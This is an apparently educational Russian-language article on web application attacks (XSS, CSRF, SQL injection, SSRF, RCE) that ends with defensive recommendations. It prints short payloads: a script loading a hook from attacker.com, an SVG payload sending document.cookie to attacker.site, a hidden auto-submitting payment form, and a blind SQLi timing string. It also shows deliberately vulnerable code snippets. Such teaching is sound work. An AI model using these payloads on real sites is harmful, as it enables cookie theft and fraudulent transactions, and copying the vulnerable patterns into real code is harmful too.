Даже самые передовые ИБ-решения не защитят бизнес, если базовая гигиена безопасности нарушена на уровне кода. Современные атаки на веб-приложения всё чаще используют удачные комбинации старых и новых техник: XSS давно не ограничивается захватом сессии, а CSRF способен работать даже сквозь «умные» фильтры. Разберём нетривиальные варианты эксплуатации на сложных примерах и обсудим механизмы противодействия.
Но перед тем, как переходить к конкретным примерам эксплойтов и методам поиска уязвимостей, будет полезно освежить знания об основах архитектуры веб-технологий. Без этого сложно будет понять, почему уязвимости возникают и как их использовать или предотвращать на практике.
XSS
Злоумышленник получает возможность внедрить произвольный JavaScript-код на сайт - например, в поля обратной связи, профиля или комментирования. Браузер не отличает встроенный скрипт от «своего», предоставляя атакующему полный контроль: cookie, localStorage, DOM, инициирование любых действий от лица пользователя. Так XSS становится инструментом для фишинга, кражи токенов, обхода CSRF-защиты, постоянного присутствия в клиентском контуре.
JavaScript:
// Распространённый паттерн эксплуатации через подключение внешнего контроллера
<script>
(function(){
var s = document.createElement('script');
s.src = '//attacker.com/hook.js';
document.body.appendChild(s);
})();
</script>Во фронтенд-фреймворках XSS чаще проявляется в опасных местах обработки пользовательских шаблонов, особенно при использовании динамического вывода:
JavaScript:
container.innerHTML = userControlledContent; // уязвимое местоВедущий payload - не только <script>, но и сложный SVG, iframe, event-handler или объект JSONP, - может инициировать отправку данных сессии на сервер атакующего, даже если сервер старается фильтровать очевидные конструкции. Например:
XML:
<svg/onload=fetch('https://attacker.site/'+document.cookie)>CSP (Content Security Policy), ограничивающая выполнение скриптов, помогает, но забытые разрешения для сторонних CDN, JSONP или SRI-ошибки позволяют обойти даже строгие политики.
CSRF
CSRF эксплуатирует особенность браузера: cookie и сессионные данные автоматически прикладываются к каждому запросу, вне зависимости от инициатора. Атакующий отдаёт жертве скрытую форму или отправляет запрос через подставной сайт, операция на целевом сайте выполняется с учётными данными пользователя.
XML:
<form action="https://victim.site/api/payment" method="POST" style="display:none">
<input type="hidden" name="sum" value="50000">
<input type="hidden" name="to" value="attacker">
</form>
<script>document.forms[0].submit()</script>В современном приложении SameSite-карточки для cookie и токены CSRF действительно затрудняют такую атаку, однако в сложных кейсах (например, токены вне cookie, Origin/Referer не проверяются, CORS реализован с ошибками) CSRF возможен через другие каналы - REST API, GraphQL, заголовки авторизации. В паре с XSS возможно автоматизированное извлечение токенов защиты и подписание вредоносных запросов изнутри системы.
SQL-инъекции
SQL-инъекция возникает, если приложение напрямую подставляет пользовательский ввод в запрос к БД. Грамотно построенный эксплойт позволяет читать, изменять или удалять данные, выполнять сложные подзапросы, а нередко и захватывать контроль над самим приложением.
Python:
# Вариант уязвимого поиска по email
user = User.query.filter(f"email = '{email}'").first()Слепая инъекция (Blind SQLi) позволяет получить нужные данные по побочным признакам, например, по времени задержки ответа от базы:
SQL:
' OR (SELECT CASE WHEN (SUBSTRING(password,1,1)='a') THEN SLEEP(5) ELSE 0 END)--Payload'ы маскируются с помощью юникода, комментариев, альтернативных синтаксисов и чередования команд - всё для обхода фильтров и WAF. Классические конструкции, такие как закрытие кавычки, - лишь начало арсенала; современные атаки прокладывают цепочки через лог-файлы, вспомогательные API или комбинируются с XSS/SSRF.
SSRF, Broken Access Control, RCE
SSRF даёт возможность вынуждать сервер выполнять запросы к адресам, определяемым атакующим. Это актуально для интеграций, файловых загрузчиков, систем конвертации и интеграций - особенно при обращении к внутренним адресам (AWS Metadata API, сервисы внутренней инфраструктуры).
Python:
def get_content(url):
return requests.get(url).text # отсутствие whitelistingBroken Access Control позволяет злоумышленнику получить чужие данные, изменить параметры в API-запросах или манипулировать структурой данных вне зоны ответственности клиента. Любое отсутствие серверной валидации ID или границ доступа - потенциальный канал для вывода информации за пределы прав пользователя.
RCE встречается, если приложение передаёт пользовательский ввод в eval, exec, shell-команды или плохо спроектированные обёртки над сторонними сервисами. Это гарантированная точка компрометации с полным контролем над внутренним окружением.
Рекомендации
- Любые пользовательские данные проходят строгую фильтрацию, валидацию и экранируются по месту использования.
- CSP формируется от запрета ко всему - разрешения только точечные; отключены inline-скрипты, unsafe-eval.
- Применяются строгие заголовки безопасности: HSTS, X-Frame-Options, X-Content-Type-Options, Referrer-Policy.
- Работа с embed-контентом ограничена, лишние интеграции исключены, все формы и критические точки API защищены CSRF-токенами и механикой принципа наименьших привилегий.
- Вся работа с базой данных ведётся только через параметризованные запросы, логика авторизации реализуется только сервером.
- Все попытки эксплуатации и аномалии фиксируются средствами аудита и логирования.
Заключение
Современный подход к безопасности - постоянное внимание к деталям и непрекращающиеся контроль на всех этапах жизненного цикла кода. Системное мышление и культура инженерии безопасности куда критичнее любых формальных «чекбоксов» и случайных рекомендаций. Именно так защищаются приложения там, где атаки идут не из учебника, а из реальных угроз.Вложения
Последнее редактирование:
